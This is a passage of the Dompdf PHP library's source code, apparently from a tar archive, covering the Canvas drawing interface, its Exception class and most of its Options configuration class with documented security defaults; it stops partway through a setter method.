 */
interface Canvas
{
    /**
     * @param string|float[] $paper       The paper size to use as either a standard paper size (see {@link Dompdf\Adapter\CPDF::$PAPER_SIZES})
     *                                    or an array of the form `[x1, y1, x2, y2]` (typically `[0, 0, width, height]`).
     * @param string         $orientation The paper orientation, either `portrait` or `landscape`.
     * @param Dompdf|null    $dompdf      The Dompdf instance.
     */
    public function __construct($paper = "letter", string $orientation = "portrait", ?Dompdf $dompdf = null);

    /**
     * @return Dompdf
     */
    function get_dompdf();

    /**
     * Returns the current page number
     *
     * @return int
     */
    function get_page_number();

    /**
     * Returns the total number of pages in the document
     *
     * @return int
     */
    function get_page_count();

    /**
     * Sets the total number of pages
     *
     * @param int $count
     */
    function set_page_count($count);

    /**
     * Draws a line from x1,y1 to x2,y2
     *
     * See {@link Cpdf::setLineStyle()} for a description of the format of the
     * $style and $cap parameters (aka dash and cap).
     *
     * @param float  $x1
     * @param float  $y1
     * @param float  $x2
     * @param float  $y2
     * @param array  $color Color array in the format `[r, g, b, "alpha" => alpha]`
     *                      where r, g, b, and alpha are float values between 0 and 1
     * @param float  $width
     * @param array  $style
     * @param string $cap   `butt`, `round`, or `square`
     */
    function line($x1, $y1, $x2, $y2, $color, $width, $style = [], $cap = "butt");

    /**
     * Draws an arc
     *
     * See {@link Cpdf::setLineStyle()} for a description of the format of the
     * $style and $cap parameters (aka dash and cap).
     *
     * @param float  $x      X coordinate of the arc
     * @param float  $y      Y coordinate of the arc
     * @param float  $r1     Radius 1
     * @param float  $r2     Radius 2
     * @param float  $astart Start angle in degrees
     * @param float  $aend   End angle in degrees
     * @param array  $color  Color array in the format `[r, g, b, "alpha" => alpha]`
     *                       where r, g, b, and alpha are float values between 0 and 1
     * @param float  $width
     * @param array  $style
     * @param string $cap   `butt`, `round`, or `square`
     */
    function arc($x, $y, $r1, $r2, $astart, $aend, $color, $width, $style = [], $cap = "butt");

    /**
     * Draws a rectangle at x1,y1 with width w and height h
     *
     * See {@link Cpdf::setLineStyle()} for a description of the format of the
     * $style and $cap parameters (aka dash and cap).
     *
     * @param float  $x1
     * @param float  $y1
     * @param float  $w
     * @param float  $h
     * @param array  $color  Color array in the format `[r, g, b, "alpha" => alpha]`
     *                       where r, g, b, and alpha are float values between 0 and 1
     * @param float  $width
     * @param array  $style
     * @param string $cap   `butt`, `round`, or `square`
     */
    function rectangle($x1, $y1, $w, $h, $color, $width, $style = [], $cap = "butt");

    /**
     * Draws a filled rectangle at x1,y1 with width w and height h
     *
     * @param float $x1
     * @param float $y1
     * @param float $w
     * @param float $h
     * @param array $color Color array in the format `[r, g, b, "alpha" => alpha]`
     *                     where r, g, b, and alpha are float values between 0 and 1
     */
    function filled_rectangle($x1, $y1, $w, $h, $color);

    /**
     * Starts a clipping rectangle at x1,y1 with width w and height h
     *
     * @param float $x1
     * @param float $y1
     * @param float $w
     * @param float $h
     */
    function clipping_rectangle($x1, $y1, $w, $h);

    /**
     * Starts a rounded clipping rectangle at x1,y1 with width w and height h
     *
     * @param float $x1
     * @param float $y1
     * @param float $w
     * @param float $h
     * @param float $tl
     * @param float $tr
     * @param float $br
     * @param float $bl
     */
    function clipping_roundrectangle($x1, $y1, $w, $h, $tl, $tr, $br, $bl);

    /**
     * Starts a clipping polygon
     *
     * @param float[] $points
     */
    public function clipping_polygon(array $points): void;

    /**
     * Ends the last clipping shape
     */
    function clipping_end();

    /**
     * Processes a callback on every page.
     *
     * The callback function receives the four parameters `int $pageNumber`,
     * `int $pageCount`, `Canvas $canvas`, and `FontMetrics $fontMetrics`, in
     * that order.
     *
     * This function can be used to add page numbers to all pages after the
     * first one, for example.
     *
     * @param callable $callback The callback function to process on every page
     */
    public function page_script($callback): void;

    /**
     * Writes text at the specified x and y coordinates on every page.
     *
     * The strings '{PAGE_NUM}' and '{PAGE_COUNT}' are automatically replaced
     * with their current values.
     *
     * @param float  $x
     * @param float  $y
     * @param string $text       The text to write
     * @param string $font       The font file to use
     * @param float  $size       The font size, in points
     * @param array  $color      Color array in the format `[r, g, b, "alpha" => alpha]`
     *                           where r, g, b, and alpha are float values between 0 and 1
     * @param float  $word_space Word spacing adjustment
     * @param float  $char_space Char spacing adjustment
     * @param float  $angle      Angle to write the text at, measured clockwise starting from the x-axis
     */
    public function page_text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_space = 0.0, $char_space = 0.0, $angle = 0.0);

    /**
     * Draws a line at the specified coordinates on every page.
     *
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param array $color Color array in the format `[r, g, b, "alpha" => alpha]`
     *                     where r, g, b, and alpha are float values between 0 and 1
     * @param float $width
     * @param array $style
     */
    public function page_line($x1, $y1, $x2, $y2, $color, $width, $style = []);

    /**
     * Save current state
     */
    function save();

    /**
     * Restore last state
     */
    function restore();

    /**
     * Rotate
     *
     * @param float $angle angle in degrees for counter-clockwise rotation
     * @param float $x     Origin abscissa
     * @param float $y     Origin ordinate
     */
    function rotate($angle, $x, $y);

    /**
     * Skew
     *
     * @param float $angle_x
     * @param float $angle_y
     * @param float $x       Origin abscissa
     * @param float $y       Origin ordinate
     */
    function skew($angle_x, $angle_y, $x, $y);

    /**
     * Scale
     *
     * @param float $s_x scaling factor for width as percent
     * @param float $s_y scaling factor for height as percent
     * @param float $x   Origin abscissa
     * @param float $y   Origin ordinate
     */
    function scale($s_x, $s_y, $x, $y);

    /**
     * Translate
     *
     * @param float $t_x movement to the right
     * @param float $t_y movement to the bottom
     */
    function translate($t_x, $t_y);

    /**
     * Transform
     *
     * @param float $a
     * @param float $b
     * @param float $c
     * @param float $d
     * @param float $e
     * @param float $f
     */
    function transform($a, $b, $c, $d, $e, $f);

    /**
     * Draws a polygon
     *
     * The polygon is formed by joining all the points stored in the $points
     * array.  $points has the following structure:
     * ```
     * array(0 => x1,
     *       1 => y1,
     *       2 => x2,
     *       3 => y2,
     *       ...
     *       );
     * ```
     *
     * See {@link Cpdf::setLineStyle()} for a description of the format of the
     * $style parameter (aka dash).
     *
     * @param array $points
     * @param array $color  Color array in the format `[r, g, b, "alpha" => alpha]`
     *                      where r, g, b, and alpha are float values between 0 and 1
     * @param float $width
     * @param array $style
     * @param bool  $fill   Fills the polygon if true
     */
    function polygon($points, $color, $width = null, $style = [], $fill = false);

    /**
     * Draws a circle at $x,$y with radius $r
     *
     * See {@link Cpdf::setLineStyle()} for a description of the format of the
     * $style parameter (aka dash).
     *
     * @param float $x
     * @param float $y
     * @param float $r
     * @param array $color Color array in the format `[r, g, b, "alpha" => alpha]`
     *                     where r, g, b, and alpha are float values between 0 and 1
     * @param float $width
     * @param array $style
     * @param bool  $fill  Fills the circle if true
     */
    function circle($x, $y, $r, $color, $width = null, $style = [], $fill = false);

    /**
     * Add an image to the pdf.
     *
     * The image is placed at the specified x and y coordinates with the
     * given width and height.
     *
     * @param string $img        The path to the image
     * @param float  $x          X position
     * @param float  $y          Y position
     * @param float  $w          Width
     * @param float  $h          Height
     * @param string $resolution The resolution of the image
     */
    function image($img, $x, $y, $w, $h, $resolution = "normal");

    /**
     * Writes text at the specified x and y coordinates
     *
     * @param float  $x
     * @param float  $y
     * @param string $text        The text to write
     * @param string $font        The font file to use
     * @param float  $size        The font size, in points
     * @param array  $color       Color array in the format `[r, g, b, "alpha" => alpha]`
     *                            where r, g, b, and alpha are float values between 0 and 1
     * @param float  $word_space  Word spacing adjustment
     * @param float  $char_space  Char spacing adjustment
     * @param float  $angle       Angle to write the text at, measured clockwise starting from the x-axis
     */
    function text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_space = 0.0, $char_space = 0.0, $angle = 0.0);

    /**
     * Add a named destination (similar to <a name="foo">...</a> in html)
     *
     * @param string $anchorname The name of the named destination
     */
    function add_named_dest($anchorname);

    /**
     * Add a link to the pdf
     *
     * @param string $url    The url to link to
     * @param float  $x      The x position of the link
     * @param float  $y      The y position of the link
     * @param float  $width  The width of the link
     * @param float  $height The height of the link
     */
    function add_link($url, $x, $y, $width, $height);

    /**
     * Add meta information to the PDF.
     *
     * @param string $label Label of the value (Creator, Producer, etc.)
     * @param string $value The text to set
     */
    public function add_info(string $label, string $value): void;

    /**
     * Determines if the font supports the given character
     *
     * @param string $font The font file to use
     * @param string $char The character to check
     *
     * @return bool
     */
    function font_supports_char(string $font, string $char): bool;

    /**
     * Calculates text size, in points
     *
     * @param string $text         The text to be sized
     * @param string $font         The font file to use
     * @param float  $size         The font size, in points
     * @param float  $word_spacing Word spacing, if any
     * @param float  $char_spacing Char spacing, if any
     *
     * @return float
     */
    function get_text_width($text, $font, $size, $word_spacing = 0.0, $char_spacing = 0.0);

    /**
     * Calculates font height, in points
     *
     * @param string $font The font file to use
     * @param float  $size The font size, in points
     *
     * @return float
     */
    function get_font_height($font, $size);

    /**
     * Returns the font x-height, in points
     *
     * @param string $font The font file to use
     * @param float  $size The font size, in points
     *
     * @return float
     */
    //function get_font_x_height($font, $size);

    /**
     * Calculates font baseline, in points
     *
     * @param string $font The font file to use
     * @param float  $size The font size, in points
     *
     * @return float
     */
    function get_font_baseline($font, $size);

    /**
     * Returns the PDF's width in points
     *
     * @return float
     */
    function get_width();

    /**
     * Returns the PDF's height in points
     *
     * @return float
     */
    function get_height();

    /**
     * Sets the opacity
     *
     * @param float  $opacity
     * @param string $mode
     */
    public function set_opacity(float $opacity, string $mode = "Normal"): void;

    /**
     * Sets the default view
     *
     * @param string $view
     * 'XYZ'  left, top, zoom
     * 'Fit'
     * 'FitH' top
     * 'FitV' left
     * 'FitR' left,bottom,right
     * 'FitB'
     * 'FitBH' top
     * 'FitBV' left
     * @param array $options
     */
    function set_default_view($view, $options = []);

    /**
     * @param string $code
     */
    function javascript($code);

    /**
     * Starts a new page
     *
     * Subsequent drawing operations will appear on the new page.
     */
    function new_page();

    /**
     * Streams the PDF to the client.
     *
     * @param string $filename The filename to present to the client.
     * @param array  $options  Associative array: 'compress' => 1 or 0 (default 1); 'Attachment' => 1 or 0 (default 1).
     */
    function stream($filename, $options = []);

    /**
     * Returns the PDF as a string.
     *
     * @param array $options Associative array: 'compress' => 1 or 0 (default 1).
     *
     * @return string
     */
    function output($options = []);
}
vendor/dompdf/dompdf/src/Exception.php000066600000001047151150443010014021 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

/**
 * Standard exception thrown by DOMPDF classes
 *
 * @package dompdf
 */
class Exception extends \Exception
{

    /**
     * Class constructor
     *
     * @param string $message Error message
     * @param int $code       Error code
     */
    public function __construct($message = null, $code = 0)
    {
        parent::__construct($message, $code);
    }
}
vendor/dompdf/dompdf/src/Options.php000066600000105376151150443010013530 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

class Options
{
    /**
     * The root of your DOMPDF installation
     *
     * @var string
     */
    private $rootDir;

    /**
     * The location of a temporary directory.
     *
     * The directory specified must be writable by the executing process.
     * The temporary directory is required to download remote images and when
     * using the PFDLib back end.
     *
     * @var string
     */
    private $tempDir;

    /**
     * The location of the DOMPDF font directory
     *
     * The location of the directory where DOMPDF will store fonts and font metrics
     * Note: This directory must exist and be writable by the executing process.
     *
     * @var string
     */
    private $fontDir;

    /**
     * The location of the DOMPDF font cache directory
     *
     * This directory contains the cached font metrics for the fonts used by DOMPDF.
     * This directory can be the same as $fontDir
     *
     * Note: This directory must exist and be writable by the executing process.
     *
     * @var string
     */
    private $fontCache;

    /**
     * dompdf's "chroot"
     *
     * Utilized by Dompdf's default file:// protocol URI validation rule.
     * All local files opened by dompdf must be in a subdirectory of the directory
     * or directories specified by this option.
     * DO NOT set this value to '/' since this could allow an attacker to use dompdf to
     * read any files on the server.  This should be an absolute path.
     *
     * ==== IMPORTANT ====
     * This setting may increase the risk of system exploit. Do not change
     * this settings without understanding the consequences. Additional
     * documentation is available on the dompdf wiki at:
     * https://github.com/dompdf/dompdf/wiki
     *
     * @var array
     */
    private $chroot;

    /**
    * Protocol whitelist
    *
    * Protocols and PHP wrappers allowed in URIs, and the validation rules
    * that determine if a resouce may be loaded. Full support is not guaranteed
    * for the protocols/wrappers specified
    * by this array.
    *
    * @var array
    */
    private $allowedProtocols = [
        "file://" => ["rules" => []],
        "http://" => ["rules" => []],
        "https://" => ["rules" => []]
    ];

    /**
    * Operational artifact (log files, temporary files) path validation
    *
    * @var callable
    */
    private $artifactPathValidation = null;

    /**
     * @var string
     */
    private $logOutputFile;

    /**
     * Styles targeted to this media type are applied to the document.
     * This is on top of the media types that are always applied:
     *    all, static, visual, bitmap, paged, dompdf
     *
     * @var string
     */
    private $defaultMediaType = "screen";

    /**
     * The default paper size.
     *
     * North America standard is "letter"; other countries generally "a4"
     * @see \Dompdf\Adapter\CPDF::PAPER_SIZES for valid sizes
     *
     * @var string|float[]
     */
    private $defaultPaperSize = "letter";

    /**
     * The default paper orientation.
     *
     * The orientation of the page (portrait or landscape).
     *
     * @var string
     */
    private $defaultPaperOrientation = "portrait";

    /**
     * The default font family
     *
     * Used if no suitable fonts can be found. This must exist in the font folder.
     *
     * @var string
     */
    private $defaultFont = "serif";

    /**
     * Image DPI setting
     *
     * This setting determines the default DPI setting for images and fonts.  The
     * DPI may be overridden for inline images by explicitly setting the
     * image's width & height style attributes (i.e. if the image's native
     * width is 600 pixels and you specify the image's width as 72 points,
     * the image will have a DPI of 600 in the rendered PDF.  The DPI of
     * background images can not be overridden and is controlled entirely
     * via this parameter.
     *
     * For the purposes of DOMPDF, pixels per inch (PPI) = dots per inch (DPI).
     * If a size in html is given as px (or without unit as image size),
     * this tells the corresponding size in pt at 72 DPI.
     * This adjusts the relative sizes to be similar to the rendering of the
     * html page in a reference browser.
     *
     * In pdf, always 1 pt = 1/72 inch
     *
     * @var int
     */
    private $dpi = 96;

    /**
     * A ratio applied to the fonts height to be more like browsers' line height
     *
     * @var float
     */
    private $fontHeightRatio = 1.1;

    /**
     * Enable embedded PHP
     *
     * If this setting is set to true then DOMPDF will automatically evaluate
     * embedded PHP contained within <script type="text/php"> ... </script> tags.
     *
     * ==== IMPORTANT ====
     * Enabling this for documents you do not trust (e.g. arbitrary remote html
     * pages) is a security risk. Embedded scripts are run with the same level of
     * system access available to dompdf. Set this option to false (recommended)
     * if you wish to process untrusted documents.
     *
     * This setting may increase the risk of system exploit. Do not change
     * this settings without understanding the consequences. Additional
     * documentation is available on the dompdf wiki at:
     * https://github.com/dompdf/dompdf/wiki
     *
     * @var bool
     */
    private $isPhpEnabled = false;

    /**
     * Enable remote file access
     *
     * If this setting is set to true, DOMPDF will access remote sites for
     * images and CSS files as required.
     *
     * ==== IMPORTANT ====
     * This can be a security risk, in particular in combination with isPhpEnabled and
     * allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
     * This allows anonymous users to download legally doubtful internet content which on
     * tracing back appears to being downloaded by your server, or allows malicious php code
     * in remote html pages to be executed by your server with your account privileges.
     *
     * This setting may increase the risk of system exploit. Do not change
     * this settings without understanding the consequences. Additional
     * documentation is available on the dompdf wiki at:
     * https://github.com/dompdf/dompdf/wiki
     *
     * @var bool
     */
    private $isRemoteEnabled = false;

    /**
     * List of allowed remote hosts
     *
     * Each value of the array must be a valid hostname.
     *
     * This will be used to filter which resources can be loaded in combination with
     * isRemoteEnabled. If isRemoteEnabled is FALSE, then this will have no effect.
     *
     * Leave to NULL to allow any remote host.
     *
     * @var array|null
     */
    private $allowedRemoteHosts = null;

    /**
     * Enable inline JavaScript
     *
     * If this setting is set to true then DOMPDF will automatically insert
     * JavaScript code contained within <script type="text/javascript"> ... </script>
     * tags as written into the PDF.
     *
     * NOTE: This is PDF-based JavaScript to be executed by the PDF viewer,
     * not browser-based JavaScript executed by Dompdf.
     *
     * @var bool
     */
    private $isJavascriptEnabled = true;

    /**
     * Use the HTML5 Lib parser
     *
     * @deprecated
     * @var bool
     */
    private $isHtml5ParserEnabled = true;

    /**
     * Whether to enable font subsetting or not.
     *
     * @var bool
     */
    private $isFontSubsettingEnabled = true;

    /**
     * @var bool
     */
    private $debugPng = false;

    /**
     * @var bool
     */
    private $debugKeepTemp = false;

    /**
     * @var bool
     */
    private $debugCss = false;

    /**
     * @var bool
     */
    private $debugLayout = false;

    /**
     * @var bool
     */
    private $debugLayoutLines = true;

    /**
     * @var bool
     */
    private $debugLayoutBlocks = true;

    /**
     * @var bool
     */
    private $debugLayoutInline = true;

    /**
     * @var bool
     */
    private $debugLayoutPaddingBox = true;

    /**
     * The PDF rendering backend to use
     *
     * Valid settings are 'PDFLib', 'CPDF', 'GD', and 'auto'. 'auto' will
     * look for PDFLib and use it if found, or if not it will fall back on
     * CPDF. 'GD' renders PDFs to graphic files. {@link Dompdf\CanvasFactory}
     * ultimately determines which rendering class to instantiate
     * based on this setting.
     *
     * @var string
     */
    private $pdfBackend = "CPDF";

    /**
     * PDFlib license key
     *
     * If you are using a licensed, commercial version of PDFlib, specify
     * your license key here.  If you are using PDFlib-Lite or are evaluating
     * the commercial version of PDFlib, comment out this setting.
     *
     * @link http://www.pdflib.com
     *
     * If pdflib present in web server and auto or selected explicitly above,
     * a real license code must exist!
     *
     * @var string
     */
    private $pdflibLicense = "";

    /**
     * HTTP context created with stream_context_create()
     * Will be used for file_get_contents
     *
     * @link https://www.php.net/manual/context.php
     *
     * @var resource
     */
    private $httpContext;

    /**
     * @param array $attributes
     */
    public function __construct(array $attributes = null)
    {
        $rootDir = realpath(__DIR__ . "/../");
        $this->setChroot(array($rootDir));
        $this->setRootDir($rootDir);
        $this->setTempDir(sys_get_temp_dir());
        $this->setFontDir($rootDir . "/lib/fonts");
        $this->setFontCache($this->getFontDir());

        $ver = "";
        $versionFile = realpath(__DIR__ . '/../VERSION');
        if (($version = file_get_contents($versionFile)) !== false) {
            $version = trim($version);
            if ($version !== '$Format:<%h>$') {
                $ver = "/$version";
            }
        }
        $this->setHttpContext([
            "http" => [
                "follow_location" => false,
                "user_agent" => "Dompdf$ver https://github.com/dompdf/dompdf"
            ]
        ]);

        $this->setAllowedProtocols(["file://", "http://", "https://"]);

        $this->setArtifactPathValidation([$this, "validateArtifactPath"]);

        if (null !== $attributes) {
            $this->set($attributes);
        }
    }

    /**
     * @param array|string $attributes
     * @param null|mixed $value
     * @return $this
     */
    public function set($attributes, $value = null)
    {
        if (!is_array($attributes)) {
            $attributes = [$attributes => $value];
        }
        foreach ($attributes as $key => $value) {
            if ($key === 'tempDir' || $key === 'temp_dir') {
                $this->setTempDir($value);
            } elseif ($key === 'fontDir' || $key === 'font_dir') {
                $this->setFontDir($value);
            } elseif ($key === 'fontCache' || $key === 'font_cache') {
                $this->setFontCache($value);
            } elseif ($key === 'chroot') {
                $this->setChroot($value);
            } elseif ($key === 'allowedProtocols' || $key === 'allowed_protocols') {
                $this->setAllowedProtocols($value);
            } elseif ($key === 'artifactPathValidation') {
                $this->setArtifactPathValidation($value);
            } elseif ($key === 'logOutputFile' || $key === 'log_output_file') {
                $this->setLogOutputFile($value);
            } elseif ($key === 'defaultMediaType' || $key === 'default_media_type') {
                $this->setDefaultMediaType($value);
            } elseif ($key === 'defaultPaperSize' || $key === 'default_paper_size') {
                $this->setDefaultPaperSize($value);
            } elseif ($key === 'defaultPaperOrientation' || $key === 'default_paper_orientation') {
                $this->setDefaultPaperOrientation($value);
            } elseif ($key === 'defaultFont' || $key === 'default_font') {
                $this->setDefaultFont($value);
            } elseif ($key === 'dpi') {
                $this->setDpi($value);
            } elseif ($key === 'fontHeightRatio' || $key === 'font_height_ratio') {
                $this->setFontHeightRatio($value);
            } elseif ($key === 'isPhpEnabled' || $key === 'is_php_enabled' || $key === 'enable_php') {
                $this->setIsPhpEnabled($value);
            } elseif ($key === 'isRemoteEnabled' || $key === 'is_remote_enabled' || $key === 'enable_remote') {
                $this->setIsRemoteEnabled($value);
            } elseif ($key === 'allowedRemoteHosts' || $key === 'allowed_remote_hosts') {
                $this->setAllowedRemoteHosts($value);
            } elseif ($key === 'isJavascriptEnabled' || $key === 'is_javascript_enabled' || $key === 'enable_javascript') {
                $this->setIsJavascriptEnabled($value);
            } elseif ($key === 'isHtml5ParserEnabled' || $key === 'is_html5_parser_enabled' || $key === 'enable_html5_parser') {
                $this->setIsHtml5ParserEnabled($value);
            } elseif ($key === 'isFontSubsettingEnabled' || $key === 'is_font_subsetting_enabled' || $key === 'enable_font_subsetting') {
                $this->setIsFontSubsettingEnabled($value);
            } elseif ($key === 'debugPng' || $key === 'debug_png') {
                $this->setDebugPng($value);
            } elseif ($key === 'debugKeepTemp' || $key === 'debug_keep_temp') {
                $this->setDebugKeepTemp($value);
            } elseif ($key === 'debugCss' || $key === 'debug_css') {
                $this->setDebugCss($value);
            } elseif ($key === 'debugLayout' || $key === 'debug_layout') {
                $this->setDebugLayout($value);
            } elseif ($key === 'debugLayoutLines' || $key === 'debug_layout_lines') {
                $this->setDebugLayoutLines($value);
            } elseif ($key === 'debugLayoutBlocks' || $key === 'debug_layout_blocks') {
                $this->setDebugLayoutBlocks($value);
            } elseif ($key === 'debugLayoutInline' || $key === 'debug_layout_inline') {
                $this->setDebugLayoutInline($value);
            } elseif ($key === 'debugLayoutPaddingBox' || $key === 'debug_layout_padding_box') {
                $this->setDebugLayoutPaddingBox($value);
            } elseif ($key === 'pdfBackend' || $key === 'pdf_backend') {
                $this->setPdfBackend($value);
            } elseif ($key === 'pdflibLicense' || $key === 'pdflib_license') {
                $this->setPdflibLicense($value);
            } elseif ($key === 'httpContext' || $key === 'http_context') {
                $this->setHttpContext($value);
            }
        }
        return $this;
    }

    /**
     * @param string $key
     * @return mixed
     */
    public function get($key)
    {
        if ($key === 'tempDir' || $key === 'temp_dir') {
            return $this->getTempDir();
        } elseif ($key === 'fontDir' || $key === 'font_dir') {
            return $this->getFontDir();
        } elseif ($key === 'fontCache' || $key === 'font_cache') {
            return $this->getFontCache();
        } elseif ($key === 'chroot') {
            return $this->getChroot();
        } elseif ($key === 'allowedProtocols' || $key === 'allowed_protocols') {
            return $this->getAllowedProtocols();
        } elseif ($key === 'artifactPathValidation') {
            return $this->getArtifactPathValidation();
        } elseif ($key === 'logOutputFile' || $key === 'log_output_file') {
            return $this->getLogOutputFile();
        } elseif ($key === 'defaultMediaType' || $key === 'default_media_type') {
            return $this->getDefaultMediaType();
        } elseif ($key === 'defaultPaperSize' || $key === 'default_paper_size') {
            return $this->getDefaultPaperSize();
        } elseif ($key === 'defaultPaperOrientation' || $key === 'default_paper_orientation') {
            return $this->getDefaultPaperOrientation();
        } elseif ($key === 'defaultFont' || $key === 'default_font') {
            return $this->getDefaultFont();
        } elseif ($key === 'dpi') {
            return $this->getDpi();
        } elseif ($key === 'fontHeightRatio' || $key === 'font_height_ratio') {
            return $this->getFontHeightRatio();
        } elseif ($key === 'isPhpEnabled' || $key === 'is_php_enabled' || $key === 'enable_php') {
            return $this->getIsPhpEnabled();
        } elseif ($key === 'isRemoteEnabled' || $key === 'is_remote_enabled' || $key === 'enable_remote') {
            return $this->getIsRemoteEnabled();
        } elseif ($key === 'allowedRemoteHosts' || $key === 'allowed_remote_hosts') {
            return $this->getAllowedProtocols();
        } elseif ($key === 'isJavascriptEnabled' || $key === 'is_javascript_enabled' || $key === 'enable_javascript') {
            return $this->getIsJavascriptEnabled();
        } elseif ($key === 'isHtml5ParserEnabled' || $key === 'is_html5_parser_enabled' || $key === 'enable_html5_parser') {
            return $this->getIsHtml5ParserEnabled();
        } elseif ($key === 'isFontSubsettingEnabled' || $key === 'is_font_subsetting_enabled' || $key === 'enable_font_subsetting') {
            return $this->getIsFontSubsettingEnabled();
        } elseif ($key === 'debugPng' || $key === 'debug_png') {
            return $this->getDebugPng();
        } elseif ($key === 'debugKeepTemp' || $key === 'debug_keep_temp') {
            return $this->getDebugKeepTemp();
        } elseif ($key === 'debugCss' || $key === 'debug_css') {
            return $this->getDebugCss();
        } elseif ($key === 'debugLayout' || $key === 'debug_layout') {
            return $this->getDebugLayout();
        } elseif ($key === 'debugLayoutLines' || $key === 'debug_layout_lines') {
            return $this->getDebugLayoutLines();
        } elseif ($key === 'debugLayoutBlocks' || $key === 'debug_layout_blocks') {
            return $this->getDebugLayoutBlocks();
        } elseif ($key === 'debugLayoutInline' || $key === 'debug_layout_inline') {
            return $this->getDebugLayoutInline();
        } elseif ($key === 'debugLayoutPaddingBox' || $key === 'debug_layout_padding_box') {
            return $this->getDebugLayoutPaddingBox();
        } elseif ($key === 'pdfBackend' || $key === 'pdf_backend') {
            return $this->getPdfBackend();
        } elseif ($key === 'pdflibLicense' || $key === 'pdflib_license') {
            return $this->getPdflibLicense();
        } elseif ($key === 'httpContext' || $key === 'http_context') {
            return $this->getHttpContext();
        }
        return null;
    }

    /**
     * @param string $pdfBackend
     * @return $this
     */
    public function setPdfBackend($pdfBackend)
    {
        $this->pdfBackend = $pdfBackend;
        return $this;
    }

    /**
     * @return string
     */
    public function getPdfBackend()
    {
        return $this->pdfBackend;
    }

    /**
     * @param string $pdflibLicense
     * @return $this
     */
    public function setPdflibLicense($pdflibLicense)
    {
        $this->pdflibLicense = $pdflibLicense;
        return $this;
    }

    /**
     * @return string
     */
    public function getPdflibLicense()
    {
        return $this->pdflibLicense;
    }

    /**
     * @param array|string $chroot
     * @return $this
     */
    public function setChroot($chroot, $delimiter = ',')
    {
        if (is_string($chroot)) {
            $this->chroot = explode($delimiter, $chroot);
        } elseif (is_array($chroot)) {
            $this->chroot = $chroot;
        }
        return $this;
    }

    /**
     * @return array
     */
    public function getAllowedProtocols()
    {
        return $this->allowedProtocols;
    }

    /**
     * @param array $allowedProtocols The protocols to allow, as an array
     * formatted as ["protocol://" => ["rules" => [callable]], ...]
     * or ["protocol://", ...]
     *
     * @return $this
     */
    public function setAllowedProtocols(array $allowedProtocols)
    {
        $protocols = [];
        foreach ($allowedProtocols as $protocol => $config) {
            if (is_string($protocol)) {
                $protocols[$protocol] = [];
                if (is_array($config)) {
                    $protocols[$protocol] = $config;
                }
            } elseif (is_string($config)) {
                $protocols[$config] = [];
            }
        }
        $this->allowedProtocols = [];
        foreach ($protocols as $protocol => $config) {
            $this->addAllowedProtocol($protocol, ...($config["rules"] ?? []));
        }
        return $this;
    }

    /**
     * Adds a new protocol to the allowed protocols collection
     *
     * @param string $protocol The scheme to add (e.g. "http://")
     * @param callable $rule A callable that validates the protocol
     * @return $this
     */
    public function addAllowedProtocol(string $protocol, callable ...$rules)
    {
        $protocol = strtolower($protocol);
        if (empty($rules)) {
            $rules = [];
            switch ($protocol) {
                case "file://":
                    $rules[] = [$this, "validateLocalUri"];
                    break;
                case "http://":
                case "https://":
                    $rules[] = [$this, "validateRemoteUri"];
                    break;
                case "phar://":
                    $rules[] = [$this, "validatePharUri"];
                    break;
            }
        }
        $this->allowedProtocols[$protocol] = ["rules" => $rules];
        return $this;
    }

    /**
     * @return array
     */
    public function getArtifactPathValidation()
    {
        return $this->artifactPathValidation;
    }

    /**
     * @param callable $validator
     * @return $this
     */
    public function setArtifactPathValidation($validator)
    {
        $this->artifactPathValidation = $validator;
        return $this;
    }

    /**
     * @return array
     */
    public function getChroot()
    {
        $chroot = [];
        if (is_array($this->chroot)) {
            $chroot = $this->chroot;
        }
        return $chroot;
    }

    /**
     * @param boolean $debugCss
     * @return $this
     */
    public function setDebugCss($debugCss)
    {
        $this->debugCss = $debugCss;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugCss()
    {
        return $this->debugCss;
    }

    /**
     * @param boolean $debugKeepTemp
     * @return $this
     */
    public function setDebugKeepTemp($debugKeepTemp)
    {
        $this->debugKeepTemp = $debugKeepTemp;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugKeepTemp()
    {
        return $this->debugKeepTemp;
    }

    /**
     * @param boolean $debugLayout
     * @return $this
     */
    public function setDebugLayout($debugLayout)
    {
        $this->debugLayout = $debugLayout;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugLayout()
    {
        return $this->debugLayout;
    }

    /**
     * @param boolean $debugLayoutBlocks
     * @return $this
     */
    public function setDebugLayoutBlocks($debugLayoutBlocks)
    {
        $this->debugLayoutBlocks = $debugLayoutBlocks;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugLayoutBlocks()
    {
        return $this->debugLayoutBlocks;
    }

    /**
     * @param boolean $debugLayoutInline
     * @return $this
     */
    public function setDebugLayoutInline($debugLayoutInline)
    {
        $this->debugLayoutInline = $debugLayoutInline;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugLayoutInline()
    {
        return $this->debugLayoutInline;
    }

    /**
     * @param boolean $debugLayoutLines
     * @return $this
     */
    public function setDebugLayoutLines($debugLayoutLines)
    {
        $this->debugLayoutLines = $debugLayoutLines;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugLayoutLines()
    {
        return $this->debugLayoutLines;
    }

    /**
     * @param boolean $debugLayoutPaddingBox
     * @return $this
     */
    public function setDebugLayoutPaddingBox($debugLayoutPaddingBox)
    {
        $this->debugLayoutPaddingBox = $debugLayoutPaddingBox;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugLayoutPaddingBox()
    {
        return $this->debugLayoutPaddingBox;
    }

    /**
     * @param boolean $debugPng
     * @return $this
     */
    public function setDebugPng($debugPng)
    {
        $this->debugPng = $debugPng;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getDebugPng()
    {
        return $this->debugPng;
    }

    /**
     * @param string $defaultFont
     * @return $this
     */
    public function setDefaultFont($defaultFont)
    {
        if (!($defaultFont === null || trim($defaultFont) === "")) {
            $this->defaultFont = $defaultFont;
        } else {
